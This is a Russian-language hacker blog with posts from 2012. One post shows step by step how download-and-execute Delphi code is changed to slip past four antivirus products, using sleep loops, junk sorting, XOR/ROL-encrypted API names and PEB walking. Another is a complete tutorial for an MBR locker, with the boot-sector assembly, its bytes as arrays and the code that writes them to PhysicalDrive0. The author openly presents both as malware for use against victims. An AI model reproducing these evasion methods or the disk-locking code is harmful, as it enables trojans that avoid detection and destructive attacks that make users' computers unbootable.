Общее·количество·просмотров·страницы

среда, 22 августа 2012 г.

Глумление над АВ

Сегодня хотелось бы немного уделить внимание антивирусной защите как таковой.

Мы проведем несколько простых опытов с помощью программирования и посмотрим на «крутость» антивирусных систем.

Значит берем «фантастическую четверку» : нод,касперский,др.вэб и аваст.

Извращаться будем уже как всегда с известным кодом: скачивание+запуск файла.

Я буду использовать частный сервис проверки которые не отсылает копии АВ компаниям.(акк мне дал один добрый человечек на ачате)

Начнем.

Сразу же напишем код и закинем его на проверку.

program Project2;
uses
  windows,urlmon,shellapi;

begin

URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil);
shellexecute(0,'open','C:\file.html',0,0,SW_SHOW);

end.

Смотрим что получается:
http://4put.ru/pictures/max/389/1195254.jpg

не знаю почему, но аваст тупо отморозился, что уже как бы «намекает».Остальные справились безукоризненно.

Дальше мы начнем немного «разбавлять» код.

Дополним его небольшим циклом

program Project2;
uses
  windows,urlmon,shellapi;
var i:integer;
begin
for i:=1 to 10 do
begin
sleep(1000);
GetTickCount;
sleep(1000);
GetModuleHandle(0);
end;

URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil);
shellexecute(0,'open','C:\file.html',0,0,SW_SHOW);

end.

Смотрим результаты:
http://4put.ru/pictures/max/389/1195256.jpg

Аваст-то же самое.
Отечественный производитель справился с задачей,но посмотрите НОД не смог (не стал) эмулировать из-за задержек и пропустил троян!!!

/ небольшая справочка,чисто для прикола: если в цикле использовать не 10 ,а $989680 то и каспер отпадает(но не др.вэб) но т.к. это занимает СЛИШКОМ много времени,то я его не использую,но можно попробовать подставить меньше секунды слипы,проверьте если хотите,поиграйтесь\

Идем дальше…
Добавим в код сортировку массива методом пузырька:

program Project2;
uses
  windows,urlmon,shellapi;

var i,n,p:integer;
a: array[1..100001] of integer;
b:boolean;

begin
for i:=1 to 10 do
begin
sleep(1000);
GetTickCount;
sleep(1000);
GetModuleHandle(0);
end;

begin
randomize;
for i:=1 to 100001 do
a[i]:=random(512)+5;
 n:= Length(a);
 if n < 2 then exit;
 repeat
  b:= false;
  Dec(n);
  for i:= 0 to n-1 do
   if a[i] > a[i+1] then
    begin
     p:= a[i];
     a[i]:= a[i+1];
     a[i+1]:= p;
     b:= true;
    end;
 until b;
end;


URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil);
shellexecute(0,'open','C:\file.html',0,0,SW_SHOW);

end.

Смотрим что получается:
http://4put.ru/pictures/max/389/1195258.jpg

Отпал теперь и др.вэб
пока отечественные продукты проявили себя лучше всех,и судя по этим 3 опытам касперский имеет довольно мощную эвристику.

Следующая фишка меня можно сказать даже порадовала.Сделал я так:
сперва зашифровал библиотеки и функции побитовым сдвигом влево (рол) и… О да это было прекрасно:



program Project2;
uses
  windows,urlmon,shellapi,idglobal;

var i,n,p:integer;
a: array[1..100001] of integer;
b:boolean;
h:Thandle;

DownLoad: function(p1:IUnknown;url:PAnsiChar;tofile: PAnsiChar;reserved:dword;lpfncb:pointer):HResult;stdcall;
exec: function(p1:integer;p2:pchar;p3:pchar;p4,p5,p6:integer):integer;stdcall;

function RORR(s:string):string;
var x:integer;
begin
for x := 1 to length(s) do
s[x] := char(ROR(byte(s[x]) ,1));
result:=s;
end;

function XORR(s:string):string;
var x:integer;
begin
for x := 1 to length(s) do
s[x] := chr(ord(s[x]) xor $0E);
result:=s;
end;

begin
for i:=1 to 10 do
begin
sleep(1000);
GetTickCount;
sleep(1000);
GetModuleHandle(0);
end;

begin
randomize;
for i:=1 to 100001 do
a[i]:=random(512)+5;
 n:= Length(a);
 if n < 2 then exit;
 repeat
  b:= false;
  Dec(n);
  for i:= 0 to n-1 do
   if a[i] > a[i+1] then
    begin
     p:= a[i];
     a[i]:= a[i+1];
     a[i+1]:= p;
     b:= true;
    end;
 until b;
end;



h:=LoadLibrary(pchar(Rorr(Xorr('дкЦФРТRЖЦЦ'))));
@DownLoad:=getprocaddress(h,pchar(rorr(xorr('¤Є–†РаТЦРМЖ¦Р‚ЬЦДЊ'))));
DownLoad(nil,pchar('http://yandex.ru'),pchar('C:\file.html'),0,nil);
freelibrary(h);
h:=LoadLibrary(pchar(rorr(xorr('иЮДЦЦhjRЖЦЦ'))));
@exec:=getprocaddress(h,pchar(rorr(xorr('ЁЮДЦЦ„юДИджДЊ'))));
exec(0,'open','C:\file.html',0,0,SW_SHOW);

end.

http://4put.ru/pictures/max/389/1195260.jpg
Результат (ёмаё!):

поясню код в этом моменте немного:
мы зашифровали rol-ом названия библиотек где содержатся эти функции и сами названия функций (не забываем,что мы их вызываем с дополнительной «А» (shellexecutea) ну и написал две функции.Принцип легок:
обратная функция ксору-ксор, обратная функция ролу-рор, соответственно я сначала сдвигал биты ролом,а потом ксорил получившейся результат, при дешифрации соответственно обратный порядок-разксорили и потом рором сдвиг сделали. вот и все.прототипы «новых» функций смотрим в мсдн и копируем параметры.
============================================================================
В общем то есть еще один метод который позволяет опустить наших «гигантов» АВ индустрии -это вызов без использования импорта.Я его тут полностью расписывать не стану.
через ПЭБ получаем указатель на «главную» библиотеку:
такой код:

asm
mov  eax, dword ptr fs:[30h]
mov  eax, dword ptr [eax+0ch]
mov  eax, dword ptr [eax+1ch]
mov eax,  [eax]
mov  eax, dword ptr [eax+08h]
mov p, eax
end;

в семерке получается указатель на kernelbase, хотя если я не ошибаюсь там есть все теже функции что и в kernel32. Так вот смысл в том что мы должны получить прототип LoadLibrary , а дальше думаю догадались- так же с помощью шифрованных функций и имен длл вызывать нужные функции. в итоге  все наши крутые перцы нервно курят в стороночке. так же можно и с getprocadress сделать(даже немного и с seh поиграть).

Итоги подведем:
Др.вэб и касперский оказались «самыми нормальными», вообще у меня стоит др.вэб каспера не поставил ввиду того что похавать оперативу он любит,хотя думаю если кошерно настроить то будет очень даже ничего.
Статья не рекламирует какой либо продукт и  не усомняет вас в выборе какого либо АВ средства (хотя кому я вру-конечно же усомняет) это я к тому что бы крикуны которые восхваляют нод32 спеси то поубавили, ибо скорость работы еще не залог успеха,в чем мы собственно убедились.И так же мораль статьи-если против вас работает мудрый хакер,то все антивирусы идут далеко и надолго,лучшая защита-ваша голова (желательна дополнительная надстройка-моск). Но если выбирать для простенькой защиты на проно сайтах то я бы не взял нод или аваст.
Вот собсно и все) спасибо за внимание.
all rights reserved. DooD

пятница, 27 июля 2012 г.

Делы

Давно ничего не писал сюда после последней статьи.Сейчас есть несколько идей для статей,но нету времени практически,заказы дали,да и так,иногда вместо клавиатуры хочется полабать и на басу,и чего уж там скрывать-выпить пива с посонами у пАдъезда)).
Думаю в начале нового месяца запилю какую то интересную рюшечку.
Пока!)

суббота, 7 июля 2012 г.

Пишем mbr locker


Сегодня в этой статье я хотел бы разобрать механизмы такого зверя как mbr locker и показать в виде кода простой пример написания таких зверей(обещал няшки после сессии )).
  
Огромное спасибо sleshu за консультации по битовым матрицам.

Арсенал:

1) NASM. я перехожу на этот компилятор в виду удобства программирования низкоуровневых вещей.
2) Delphi (можно использовать любой удобный вам ЯП)
3)WINHEX (HIEW или любой удобный вам хексредактор)
4)Эмулятор (emu8086, bochs, или виртуальную машину)
5)Документация по прерываниям BIOS
6)Калькулятор

и так начнем.

Что собой являет mbr.

MBR это главная загрузочная запись, код, необходимый для последующей загрузки ОС и расположен в первом секторе ЖД (или другого ус-ва).

После включения питания компьютера, проходит так называемая процедура POST тестирующая аппаратное обеспечение ,по прохождению которой BIOS загружает MBR  в оперативную память по адресу 0x7C00 и передает ему управление.

С этого и начинаем отталкиваться. Т.е. пишем  загрузчик.

[BITS 16]
[ORG 0x7C00]

указываем на 16 битный код и устанавливаем «нужный» адрес.

после этого мы должны настроить сегменты, при не правильно настроенных сегментах прерывания могут «повесить» систему.

mov     ax, cs              
cli                   
mov     ss, ax              
mov     es, ax  
mov     ds, ax             
mov     sp, entry          ;
sti

ax= сегменту кода
стэк-такой же как и сегмент кода, данные также-все в одном месте.
при настройке запрещаем прерывания, потому что мы еще не готовы
после настройки-включаем прерывания.

По сути дела основа есть. Дальше мы должны подумать. У нас нет ни прерываний ДОС ни функций WINDOWS (это понятно я думаю) так что остается работать с экраном только через прерывания BIOS.

Прежде всего произведем очистку экрана (это, кстати, сыграет полезную роль при эмуляции через bochs)

mov ax,03
int 0x10

Теперь следующий, очень важный момент. Прерывания BIOS не умеет\не знает русские символы. Предположим что мы затачиваем нашу малварь под русскоязычную аудиторию.

Для того что бы мы могли писать русским нам требуется составить битовые матрицы, записать их в файл в виде хекса и подгружать( спасибо sleshu за разбор битовых матриц)

что собой представляет битовая матрица. Стандартные размеры символов возьмем как 8х16 соответственно буква «Я» будет выглядеть так:



Как составляем такой файл. Берем рисуем любой символ с помошью битовой матрицы.
далее каждую строку переводим в хекс и записываем в файл по порядку начиная от ascii кода 192 до 255.

Соответственно буква «Я» будет выглядеть так:

00, 00, 7E, C6, C6, C6, C6, 7E, 36, 66, C6, C6, 00, 00, 00, 00

Не трудно понять что каждой букве будет соответствовать 16 байт ее описания.

Дальше стает ясно, что разместить весь алфавит (даже с заменой некоторых русских символов на латинские) нельзя. Не хватит места для сообщения и вообще мы можем не уместиться в размер мбр-512 байт, потому что в русском алфавите 33 буквы если для каждой составить описание получается 528байт. Значит нам нужно составить файл шрифтов, записать его в какие либо сектора и оттуда читать.

Думаем заранее в какие сектора будем писать, потому что это задача высокоуровневой программы.Т.к. файл шрифтов получился у меня ровно 1кб (1024 байта, т.к. я откинул буквы Ё и ё) .Размер одного сектора=512 байт, я буду писать во 2 и 3 сектора.

Загрузка таблицы в память

mov ah,0x02
mov al,0x02
mov bx,0x1000
mov cx,0x0002
int 0x13

Вторая ф-я 13 прерывания- чтение секторов
читаем 2 сектора (2 и 3)
записываем таблицу по адресу 0х1000
чтение начинаем со 2-го сектора.
Для эмуляции на дискете нужно добавить еще xor dx,dx ибо после передачи управления mbr в младшем байте регистра оказывается значение  диска на котором мы находимся, соответственно у дискеты он =0, высокоуровневая программа переписывает mbr таким образом что запоминать младший байт нет необходимости. Далее это будет видно.

После чтения таблицы нужно изменить ее.

Изменение таблицы

mov ah,0x11
xor al,al
mov bp,bx
mov cx,64
mov dx,192
int 0x10

11 функция 0 подфункция смена на пользовательскую палитру.
адрес таблицы был в bx
64 палитры
изменяем начиная с 192 символа (код АСКИ буква «А»)

Вот собсно и все. Дальше нам остается только выводить сообщения.

mov ah,0x13
xor al,al
mov bx,00001010b
xor dx,dx
mov cx,msgend-msg
call msgend

msg db 'заблокировано'

msgend:
   pop bp            
   int 0x10
   jmp $
13 ф-я  0 подфунк. писать строку.
в bx задается атрибуты символов.

0 1 2 бит- цвет символа- ярко зеленый
3 бит- яркость- яркий
4 5 6 бит- задний план- черный
7 бит- мерцание- без мерцания

выводим с позиции начала экрана.
cx длинна сообщения.

bp- сообщение

и зависаем в бесконечном цикле.

Я не делал ввода строки, ее проверки, возврата и записи оригинального мбр, т.к. статья носит чисто поучительный характер, и добрые хацкеры не будут восстанавливать мбр, а еще и таблицу разделов снесут нахрен :D для них главное- выхлоп.
Что то отошли от темы. в завершении заполняем оставшееся про-во 0 и указываем сигнатуру mbr.

TIMES 510-($-$$) db 0
dw 0xAA55

для эмуляции на дискете последней строчкой укажите включение файла шрифтов

incbin file.fnt

все. С низким уровнем мы покончили. Приступаем к написанию высокоуровневой части.

Открываем делфю, создаем юнит, т.к. мы будем юзать чисто АПИ.

Я додумал лишь 2 метода:
1)Разобрать все хекс редактором и создать массивы байт
2)Запихать все в ресурсы-доставать-читать-писать.

Применять буду первый.И так берем загрузчик и открываем в winhex. с помощью команды edit->copy block->pascal source получаем готовый набор байт уже в синтаксисе Delphi. Так же делаем и с таблицей, то есть получается 3 массива. Таблицу делим до смещения 200 - 1-ая часть, после 200 вторая часть.

имеем

mbr:array[1..512]of byte =(
            $8C, $C8, $FA, $8E, $D0, $8E, $C0, $8E, $D8, $BC, $00, $7C, $FB, $B8, $03, $00,
            $CD, $10, $B4, $02, $B0, $02, $BB, $00, $10, $B9, $02, $00, $CD, $13, $B4, $11,
            $30, $C0, $89, $DD, $B9, $40, $00, $BA, $C0, $00, $CD, $10, $B4, $13, $30, $C0,
            $BB, $0A, $00, $31, $D2, $B9, $0D, $00, $E8, $0D, $00, $E7, $E0, $E1, $EB, $EE,
            $EA, $E8, $F0, $EE, $E2, $E0, $ED, $EE, $5D, $CD, $10, $EB, $FE, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $55, $AA
);

tbl_1S:array [1..512]of byte =($00, $00, $3E, $66, $C6, $C6, $C6, $FE, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $FE, $C0, $C0, $C0, $FC, $C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
            $00, $00, $FC, $C6, $C6, $C6, $FC, $C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
            $00, $00, $FE, $C6, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $00, $00, $00, $00,
            $00, $00, $3C, $6C, $6C, $6C, $6C, $6C, $6C, $6C, $6C, $FE, $C6, $82, $00, $00,
            $00, $00, $FE, $C6, $C0, $C0, $F0, $C0, $C0, $C0, $C6, $FE, $00, $00, $00, $00,
            $00, $00, $D6, $D6, $D6, $54, $7C, $D6, $D6, $D6, $D6, $D6, $00, $00, $00, $00,
            $00, $00, $7C, $C6, $06, $06, $1C, $06, $06, $C6, $C6, $7C, $00, $00, $00, $00,
            $00, $00, $C6, $C6, $C6, $C6, $CE, $DE, $F6, $E6, $C6, $C6, $00, $00, $00, $00,
            $00, $0C, $DA, $C6, $C6, $C6, $CE, $DE, $F6, $E6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $C6, $CC, $D8, $F0, $F0, $D8, $CC, $C6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $1E, $36, $66, $C6, $C6, $C6, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $C6, $C6, $EE, $EE, $FE, $FE, $D6, $D6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $C6, $C6, $C6, $C6, $FE, $C6, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $7E, $C6, $C6, $C6, $C6, $C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
            $00, $00, $FE, $C6, $C6, $C6, $C6, $C6, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $FC, $C6, $C6, $C6, $C6, $C6, $FC, $C0, $C0, $C0, $00, $00, $00, $00,
            $00, $00, $7C, $C6, $C6, $C0, $C0, $C0, $C0, $C6, $C6, $7C, $00, $00, $00, $00,
            $00, $00, $7E, $7E, $5A, $18, $18, $18, $18, $18, $18, $18, $00, $00, $00, $00,
            $00, $00, $C6, $C6, $C6, $C6, $C6, $C6, $7E, $06, $C6, $7C, $00, $00, $00, $00,
            $00, $00, $7C, $D6, $D6, $D6, $D6, $D6, $D6, $7C, $10, $38, $00, $00, $00, $00,
            $00, $00, $C6, $C6, $6C, $38, $38, $6C, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $CC, $CC, $CC, $CC, $CC, $CC, $CC, $CC, $CC, $FE, $02, $06, $04, $00,
            $00, $00, $C6, $C6, $C6, $C6, $C6, $7E, $06, $06, $06, $06, $00, $00, $00, $00,
            $00, $00, $D6, $D6, $D6, $D6, $D6, $D6, $D6, $D6, $D6, $FE, $00, $00, $00, $00,
            $00, $00, $D6, $D6, $D6, $D6, $D6, $D6, $D6, $D6, $D6, $FE, $02, $06, $04, $00,
            $00, $00, $E0, $E0, $60, $60, $7C, $66, $66, $66, $66, $7C, $00, $00, $00, $00,
            $00, $00, $C6, $C6, $C6, $C6, $E6, $B6, $B6, $B6, $B6, $E6, $00, $00, $00, $00,
            $00, $00, $C0, $C0, $C0, $C0, $FC, $C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
            $00, $00, $78, $CC, $06, $06, $1E, $1E, $06, $06, $CC, $78, $00, $00, $00, $00,
            $00, $00, $9C, $B6, $B6, $B6, $F6, $B6, $B6, $B6, $B6, $9C, $00, $00, $00, $00,
            $00, $00, $7E, $C6, $C6, $C6, $C6, $7E, $36, $66, $C6, $C6, $00, $00, $00, $00
);

tbl_2S: array [1..512] of byte=($00, $00, $00, $00, $00, $7C, $C6, $C6, $C6, $FE, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $FE, $C0, $FC, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $FC, $C6, $C6, $FC, $C6, $C6, $FC, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $FE, $C6, $C2, $C0, $C0, $C0, $C0, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $3C, $6C, $6C, $6C, $6C, $6C, $FE, $C6, $82, $00, $00,
            $00, $00, $00, $00, $00, $7C, $C6, $C6, $FC, $C0, $C6, $7C, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $D6, $D6, $D6, $7C, $D6, $D6, $D6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $7C, $C6, $06, $1C, $06, $C6, $7C, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $C6, $C6, $CE, $DE, $F6, $E6, $C6, $00, $00, $00, $00,
            $00, $00, $00, $0C, $18, $C6, $C6, $CE, $DE, $F6, $E6, $C6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $C6, $CC, $D8, $F8, $D8, $CC, $C6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $3E, $66, $66, $66, $66, $66, $C6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $C6, $EE, $FE, $D6, $C6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $C6, $C6, $C6, $FE, $C6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $7E, $C6, $C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $FE, $C6, $C6, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $FC, $C6, $C6, $C6, $C6, $C6, $FC, $C0, $C0, $C0, $00,
            $00, $00, $00, $00, $00, $7C, $C6, $C0, $C0, $C2, $C6, $7C, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $7E, $5A, $18, $18, $18, $18, $18, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $C6, $C6, $C6, $C6, $C6, $C6, $7E, $06, $C6, $7C, $00,
            $00, $00, $00, $00, $10, $7C, $D6, $D6, $D6, $D6, $D6, $7C, $10, $38, $00, $00,
            $00, $00, $00, $00, $00, $C6, $6C, $38, $38, $6C, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $CC, $CC, $CC, $CC, $CC, $CC, $FE, $06, $0C, $00, $00,
            $00, $00, $00, $00, $00, $C6, $C6, $C6, $C6, $7E, $06, $06, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $D6, $D6, $D6, $D6, $D6, $D6, $FE, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $D6, $D6, $D6, $D6, $D6, $D6, $FE, $02, $06, $04, $00,
            $00, $00, $00, $00, $00, $E0, $60, $7C, $66, $66, $66, $7C, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $C6, $C6, $E6, $B6, $B6, $B6, $E6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $C0, $C0, $FC, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $7C, $C6, $06, $1E, $06, $C6, $7C, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $9C, $B6, $B6, $F6, $B6, $B6, $9C, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $7E, $C6, $C6, $7E, $36, $66, $C6, $00, $00, $00, $00
);

Остается лишь осуществить запись:

CreateFile('\\.\PhysicalDrive0',GENERIC_WRITE,FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0);

открываем диск

WriteFile(f,mbr,sizeof(mbr),nw,nil);
записываем мбр

SetFilePointer(f,1*512,nil,FILE_BEGIN);
WriteFile(f,tbl_1S,sizeof(tbl_1S),nw,nil);

SetFilePointer(f,2*512,nil,FILE_BEGIN);
WriteFile(f,tbl_2S,sizeof(tbl_2S),nw,nil);

CloseHandle(f)

записываем таблицу во второй и третий секторы.

запись производится по формуле номер сектора*512.

закрываем диск.

Вот в общем то и все.

Результат:


В целом на этом все. Спасибо за внимание, надеюсь кому то было интересно.

суббота, 30 июня 2012 г.

Фича загрузчика

Наконец то я нашарил этот кусок дерьма выводить картинку в видеобуффер.Загрузчик сам по себе не будет выводить никаких картинок,оставлю,скажем так,как память о моих мучениях))
ОГРОМНОЕ СПАСИБО SLESH'у что помог мне в аське разобраться с форматом и бошем (у меня оказался кривой бош, по тому я и думал что он говенный,ан нет,эмулит получше чем emu8086, кстати этот эмуль сегодня как то не адекватно себя вел и ни в какую не хотел со мной сотрудничать).Кодес изложу попозже может быть)
пока можно посмотреть на него на картинке